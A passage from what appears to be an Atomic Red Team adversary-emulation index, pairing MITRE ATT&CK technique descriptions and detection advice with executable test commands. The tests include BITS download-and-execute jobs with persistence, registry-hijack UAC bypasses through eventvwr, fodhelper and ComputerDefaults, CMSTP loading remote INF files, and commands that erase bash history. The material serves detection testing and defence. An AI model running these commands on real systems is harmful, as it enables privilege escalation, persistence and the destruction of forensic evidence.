authenticated.(Citation: Pass The Cookie)\n\nAuthentication + cookies are commonly used in web applications, including cloud-based services, + after a user has authenticated to the service so credentials are not passed + and re-authentication does not need to occur as frequently. Cookies are often + valid for an extended period of time, even if the web application is not actively + used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), + the adversary then imports the cookie into a browser they control and is able + to use the site or application as the user for as long as the session cookie + is active. Once logged into the site, an adversary can access sensitive information, + read email, or perform actions that the victim account has permissions to + perform.\n\nThere have been examples of malware targeting session cookies + to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto + Cookies January 2019) " + id: attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5 + modified: '2019-10-17T13:21:27.306Z' + x_mitre_platforms: + - Office 365 + - SaaS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor for anomalous access of websites and cloud-based + applications by the same user in different locations or by different systems + that do not match expected configurations. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Johann Rehberger + created: '2019-10-08T20:08:56.205Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1506 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1506 + - source_name: Pass The Cookie + description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass + the Cookie. Retrieved April 5, 2019. + url: https://wunderwuzzi23.github.io/blog/passthecookie.html + - description: Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware + Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. + source_name: Unit 42 Mac Crypto Cookies January 2019 + url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ + x_mitre_defense_bypassed: + - Logon Credentials + - Multi-Factor Authentication + atomic_tests: [] + T1197: + technique: + x_mitre_data_sources: + - API monitoring + - Packet capture + - Windows event logs + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + name: BITS Jobs + description: |- + Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. + + The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin) + + Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) + + BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016) + id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 + modified: '2019-07-16T20:02:53.027Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS) + + Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016) + + Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Ricardo Dias + - Red Canary + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1197 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1197 + - source_name: Microsoft COM + description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November + 22, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx + - source_name: Microsoft BITS + description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved + January 12, 2018. + url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx + - source_name: Microsoft BITSAdmin + description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018. + url: https://msdn.microsoft.com/library/aa362813.aspx + - source_name: CTU BITS Malware June 2016 + description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers + with BITS. Retrieved January 12, 2018. + url: https://www.secureworks.com/blog/malware-lingers-with-bits + - source_name: Mondok Windows PiggyBack BITS May 2007 + description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background + Intelligent Transfer Service. Retrieved January 12, 2018. + url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ + - source_name: Symantec BITS May 2007 + description: Florio, E. (2007, May 9). Malware Update with Windows Update. + Retrieved January 12, 2018. + url: https://www.symantec.com/connect/blogs/malware-update-windows-update + - source_name: PaloAlto UBoatRAT Nov 2017 + description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. + Retrieved January 12, 2018. + url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ + - source_name: Microsoft Issues with BITS July 2011 + description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January + 12, 2018. + url: https://technet.microsoft.com/library/dd939934.aspx + x_mitre_defense_bypassed: + - Firewall + - Host forensic analysis + identifier: T1197 + atomic_tests: + - name: Bitsadmin Download (cmd) + description: | + This test simulates an adversary leveraging bitsadmin.exe to download + and execute a payload + supported_platforms: + - windows + input_arguments: + remote_file: + description: Remote file to download + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md + local_file: + description: Local file path to save downloaded file + type: path + default: "%temp%\\bitsadmin_flag.ps1" + executor: + name: command_prompt + command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} + #{local_file} + + ' + cleanup_command: 'del #{local_file} >nul 2>&1 + + ' + - name: Bitsadmin Download (PowerShell) + description: | + This test simulates an adversary leveraging bitsadmin.exe to download + and execute a payload leveraging PowerShell + + Upon execution you will find a github markdown file downloaded to the Temp directory + supported_platforms: + - windows + input_arguments: + remote_file: + description: Remote file to download + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md + local_file: + description: Local file path to save downloaded file + type: path + default: "$env:TEMP\\bitsadmin_flag.ps1" + executor: + name: powershell + command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination + #{local_file} + + ' + cleanup_command: 'Remove-Item #{local_file} -ErrorAction Ignore + + ' + - name: Persist, Download, & Execute + description: | + This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transfer + and execute a payload in multiple steps. This job will remain in the BITS queue for 90 days by default if not removed. + supported_platforms: + - windows + input_arguments: + bits_job_name: + description: Name of BITS job + type: string + default: AtomicBITS + remote_file: + description: Remote file to download + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md + local_file: + description: Local file path to save downloaded file + type: path + default: "%temp%\\bitsadmin_flag.ps1" + command_path: + description: Path of command to execute + type: path + default: C:\Windows\system32\notepad.exe + command_line: + description: Command line to execute + type: string + default: "%temp%\\bitsadmin_flag.ps1" + executor: + name: command_prompt + command: | + bitsadmin.exe /create #{bits_job_name} + bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file} + bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} #{command_line} + bitsadmin.exe /complete AtomicBITS + bitsadmin.exe /resume #{bits_job_name} + T1009: + technique: + x_mitre_data_sources: + - Binary file metadata + - File monitoring + - Malware reverse engineering + name: Binary Padding + description: | + Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. + + Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) + id: attack-pattern--519630c5-f03f-4882-825c-3af924935817 + modified: '2019-05-30T21:09:26.228Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: "Depending on the method used to pad files, a file-based + signature may be capable of detecting padding using a scanning or on-access + based tool. \n\nWhen executed, the resulting process from padded files may + also exhibit other behavior characteristics of being used to conduct an intrusion + such as system and network information Discovery or Lateral Movement, which + could be used as event indicators that point to the source file." + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Martin Jirkal, ESET + created: '2017-05-31T21:30:22.096Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1009 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1009 + - source_name: capec + external_id: CAPEC-572 + url: https://capec.mitre.org/data/definitions/572.html + - description: Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using + old tricks. Retrieved May 22, 2018. + source_name: ESET OceanLotus + url: https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/ + - description: Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass + Detection in the Age of Big Data. Retrieved May 30, 2019. + source_name: Securelist Malware Tricks April 2017 + url: https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/ + - description: VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019. + source_name: VirusTotal FAQ + url: 'https://www.virustotal.com/en/faq/ ' + x_mitre_defense_bypassed: + - Signature-based detection + - Anti-virus + identifier: T1009 + atomic_tests: + - name: Pad Binary to Change Hash - Linux/macOS dd + description: | + Uses dd to add a zero to the binary to change the hash. + + Upon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change. + supported_platforms: + - macos + - linux + input_arguments: + file_to_pad: + description: Path of binary to be padded + type: Path + default: "/tmp/evil-binary" + executor: + name: sh + elevation_required: false + command: 'dd if=/dev/zero bs=1 count=1 >> #{file_to_pad} + + ' + T1088: + technique: + x_mitre_data_sources: + - System calls + - Process monitoring + - Authentication logs + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + name: Bypass User Account Control + description: |- + Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) + + If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected. + + Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as: + + * eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit) + + Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass) + id: attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be + modified: '2019-07-16T20:28:55.134Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes. + + Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: + + * The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass) + * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass) + + Analysts should monitor these Registry settings for unauthorized changes. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Stefan Kanthak + - Casey Smith + created: '2017-05-31T21:31:07.462Z' + x_mitre_effective_permissions: + - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1088 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1088 + - source_name: TechNet How UAC Works + description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved + June 3, 2016. + url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works + - source_name: TechNet Inside UAC + description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows + 7 User Account Control. Retrieved July 26, 2016.' + url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx + - source_name: MSDN COM Elevation + description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July + 26, 2016. + url: https://msdn.microsoft.com/en-us/library/ms679687.aspx + - source_name: Davidson Windows + description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November + 12, 2014. + url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html + - source_name: Github UACMe + description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. + url: https://github.com/hfiref0x/UACME + - source_name: enigma0x3 Fileless UAC Bypass + description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe + and Registry Hijacking. Retrieved December 27, 2016. + url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ + - source_name: Fortinet Fareit + description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses + UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. + url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware + - source_name: SANS UAC Bypass + description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June + 3, 2016. + url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass + - source_name: enigma0x3 sdclt app paths + description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved + May 25, 2017. + url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ + - source_name: enigma0x3 sdclt bypass + description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. + Retrieved May 25, 2017. + url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ + x_mitre_defense_bypassed: + - Windows User Account Control + identifier: T1088 + atomic_tests: + - name: Bypass UAC using Event Viewer (cmd) + description: | + Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ + Upon execution command prompt should be launched with administrative privelages + supported_platforms: + - windows + input_arguments: + executable_binary: + description: Binary to execute with UAC Bypass + type: path + default: C:\Windows\System32\cmd.exe + executor: + name: command_prompt + command: | + reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f + cmd.exe /c eventvwr.msc + cleanup_command: 'reg.exe delete hkcu\software\classes\mscfile /f + + ' + - name: Bypass UAC using Event Viewer (PowerShell) + description: | + PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ + Upon execution command prompt should be launched with administrative privelages + supported_platforms: + - windows + input_arguments: + executable_binary: + description: Binary to execute with UAC Bypass + type: path + default: C:\Windows\System32\cmd.exe + executor: + name: powershell + command: | + New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force + Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force + Start-Process "C:\Windows\System32\eventvwr.msc" + cleanup_command: 'Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse + -ErrorAction Ignore + + ' + - name: Bypass UAC using Fodhelper + description: 'Bypasses User Account Control using the Windows 10 Features on + Demand Helper (fodhelper.exe). Requires Windows 10. + + ' + supported_platforms: + - windows + input_arguments: + executable_binary: + description: Binary to execute with UAC Bypass + type: path + default: C:\Windows\System32\cmd.exe + executor: + name: command_prompt + elevation_required: false + command: | + reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f + reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" + fodhelper.exe + cleanup_command: 'reg.exe delete hkcu\software\classes\ms-settings /f + + ' + - name: Bypass UAC using Fodhelper - PowerShell + description: 'PowerShell code to bypass User Account Control using the Windows + 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. + + ' + supported_platforms: + - windows + input_arguments: + executable_binary: + description: Binary to execute with UAC Bypass + type: path + default: C:\Windows\System32\cmd.exe + executor: + name: powershell + elevation_required: false + command: | + New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force + New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force + Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force + Start-Process "C:\Windows\System32\fodhelper.exe" + cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force + -Recurse -ErrorAction Ignore + + ' + - name: Bypass UAC using ComputerDefaults (PowerShell) + description: | + PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10 + Upon execution administrative command prompt should open + supported_platforms: + - windows + input_arguments: + executable_binary: + description: Binary to execute with UAC Bypass + type: path + default: C:\Windows\System32\cmd.exe + executor: + name: powershell + elevation_required: true + command: | + New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force + New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force + Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force + Start-Process "C:\Windows\System32\ComputerDefaults.exe" + cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force + -Recurse -ErrorAction Ignore + + ' + - name: Bypass UAC by Mocking Trusted Directories + description: | + Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems + Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch + supported_platforms: + - windows + input_arguments: + executable_binary: + description: Binary to execute with UAC Bypass + type: path + default: C:\Windows\System32\cmd.exe + executor: + name: command_prompt + elevation_required: true + command: | + mkdir "\\?\C:\Windows \System32\" + copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe" + mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe" + cleanup_command: | + rd "\\?\C:\Windows \" /S /Q + del "c:\testbypass.exe" >nul 2>nul + T1191: + technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + - Process use of network + - Windows event logs + x_mitre_permissions_required: + - User + name: CMSTP + description: |- + The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. + + Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. + + CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) + x_mitre_remote_support: false + id: attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3 + modified: '2019-06-13T18:55:24.133Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. + + Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) + + * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. + * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank + - Nik Seetharaman, Palantir + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1191 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1191 + - source_name: Microsoft Connection Manager Oct 2009 + description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved + April 11, 2018. + url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) + - source_name: Twitter CMSTP Usage Jan 2018 + description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe... + Retrieved April 11, 2018. + url: https://twitter.com/ItsReallyNick/status/958789644165894146 + - source_name: MSitPros CMSTP Aug 2017 + description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April + 11, 2018. + url: https://msitpros.com/?p=3960 + - source_name: Twitter CMSTP Jan 2018 + description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution + applocker bypass. Retrieved April 11, 2018. + url: https://twitter.com/NickTyrer/status/958450014111633408 + - source_name: GitHub Ultimate AppLocker Bypass List + description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved + April 10, 2018. + url: https://github.com/api0cradle/UltimateAppLockerByPassList + - source_name: Endurant CMSTP July 2018 + description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code + Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018. + url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ + x_mitre_defense_bypassed: + - Application whitelisting + - Anti-virus + identifier: T1191 + atomic_tests: + - name: CMSTP Executing Remote Scriptlet + description: 'Adversaries may supply CMSTP.exe with INF files infected with + malicious commands + + ' + supported_platforms: + - windows + input_arguments: + inf_file_path: + description: Path to the INF file + type: path + default: PathToAtomicsFolder\T1191\src\T1191.inf + dependency_executor_name: powershell + dependencies: + - description: INF file must exist on disk at specified location (#{inf_file_path}) + prereq_command: 'if (Test-Path #{inf_file_path}) {exit 0} else {exit 1}' + get_prereq_command: |- + New-Item -Type Directory (split-path #{inf_file_path}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1191/src/T1191.inf" -OutFile "#{inf_file_path}" + executor: + name: command_prompt + elevation_required: false + command: 'cmstp.exe /s #{inf_file_path} + + ' + - name: CMSTP Executing UAC Bypass + description: 'Adversaries may invoke cmd.exe (or other malicious commands) by + embedding them in the RunPreSetupCommandsSection of an INF file + + ' + supported_platforms: + - windows + input_arguments: + inf_file_uac: + description: Path to the INF file + type: path + default: PathToAtomicsFolder\T1191\src\T1191_uacbypass.inf + dependency_executor_name: powershell + dependencies: + - description: INF file must exist on disk at specified location (#{inf_file_uac}) + prereq_command: 'if (Test-Path #{inf_file_uac}) {exit 0} else {exit 1}' + get_prereq_command: |- + New-Item -Type Directory (split-path #{inf_file_uac}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1191/src/T1191_uacbypass.inf" -OutFile "#{inf_file_uac}" + executor: + name: command_prompt + elevation_required: false + command: 'cmstp.exe /s #{inf_file_uac} /au + + ' + T1146: + technique: + x_mitre_data_sources: + - Authentication logs + - File monitoring + x_mitre_permissions_required: + - User + name: Clear Command History + description: macOS and Linux both keep track of the commands users type in their + terminal so that users can easily remember what they've done. These logs can + be accessed in a few different ways. While logged in, this command history + is tracked in a file pointed to by the environment variable HISTFILE. + When a user logs off a system, this information is flushed to a file in the + user's home directory called ~/.bash_history. The benefit of + this is that it allows users to go back to commands they've used before in + different sessions. Since everything typed on the command-line is saved, passwords + passed in on the command line are also saved. Adversaries can abuse this by + searching these files for cleartext passwords. Additionally, adversaries can + use a variety of methods to prevent their own commands from appear in these + logs such as unset HISTFILE, export HISTFILESIZE=0, + history -c, rm ~/.bash_history. + id: attack-pattern--d3046a90-580c-4004-8208-66915bc29830 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: User authentication, especially via remote terminal services + like SSH, without new entries in that user's ~/.bash_history + is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE + environment variables or the removal/clearing of the ~/.bash_history + file are indicators of suspicious activity. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-16T20:37:57.409Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1146 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1146 + x_mitre_defense_bypassed: + - Log analysis + - Host forensic analysis + identifier: T1146 + atomic_tests: + - name: Clear Bash history (rm) + description: 'Clears bash history via rm + + ' + supported_platforms: + - linux + - macos + executor: + name: sh + command: 'rm ~/.bash_history + + ' + - name: Clear Bash history (echo) + description: 'Clears bash history via rm + + ' + supported_platforms: + - linux + - macos + executor: + name: sh + command: 'echo "" > ~/.bash_history + + ' + - name: Clear Bash history (cat dev/null) + description: 'Clears bash history via cat /dev/null + + ' + supported_platforms: + - linux + - macos + executor: + name: sh + command: 'cat /dev/null > ~/.bash_history + + ' + - name: Clear Bash history (ln dev/null) + description: 'Clears bash history via a symlink to /dev/null + + ' + supported_platforms: + - linux + - macos + executor: + name: sh + command: 'ln -sf /dev/null ~/.bash_history + + ' + - name: Clear Bash history (truncate) + description: 'Clears bash history via truncate + + ' + supported_platforms: + - linux + executor: + name: sh + command: 'truncate -s0 ~/.bash_history + + ' + - name: Clear history of a bunch of shells + description: 'Clears the history of a bunch of different shell types by 